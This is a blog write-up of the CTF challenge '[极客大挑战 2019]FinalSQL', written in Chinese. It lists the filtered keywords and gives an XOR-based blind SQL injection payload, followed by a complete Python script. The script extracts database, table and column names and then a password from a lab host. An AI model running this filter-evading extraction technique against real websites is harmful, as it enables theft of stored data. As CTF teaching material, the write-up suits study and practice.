[极客大挑战 2019]FinalSQL

[极客大挑战 2019]FinalSQL
通过?id=xxxx可以测试过滤情况、使用burpsuit的爆破模块爆破过滤情况。
过滤了等号ifunion#空格*=等等
未过滤select^单引号regexpasciisubstr、、regexpfromwhere等等
测试payload为:

?id=1^(ascii(substr(database(),1,1))>128)

附上脚本

import requests
import time
url="http://034e464a-0894-4c26-b4a8-c0932264dc6f.node3.buuoj.cn/search.php"
flag=""
for i in range(10,127):
    print(i,":")
    low=32
    high=128
    mid=(low+high)//2
    while low<=high:
        print(mid)
        #payload="?id=1^(ascii(substr(database(),{0},1))>{1})".format(i, mid) #数据库名,geek
    
        #payload="?id=1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),{0},1))>{1})".format(i, mid)#所有的数据库
        #information_schema,mysql,performance_schema,test,geek

        #payload="?id=1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where((table_schema)regexp('geek'))),{0},1))>{1})".format(i, mid)#表名
        #geek:F1naI1y,Flaaaaag

        #payload="?id=1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where((table_name)regexp('F1naI1y'))),{0},1))>{1})".format(i, mid)#字段名
        #Flaaaaag:id,fl4gawsl.提示语句
        #F1naI1y:id,username,password

        payload="?id=1^(ascii(substr((select(password)from(F1naI1y)where((username)regexp('flag'))),{0},1))>{1})".format(i, mid)
        #username:mygod,welcome,site,site,site,site,Syc,finally,flag
        #flag:
        t = requests.get(url+payload)
        #print(t.text)
        if "NO! Not this! Click others~~~" in t.text:
            high = mid-1
            mid=(low+high)//2
        else:
            low=mid+1
            mid=(low+high)//2
    flag+=chr(high+1)
    print(flag)
    time.sleep(1)

相似题目POST注入https://blog.csdn.net/yao_xin_de_yuan/article/details/108306162

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值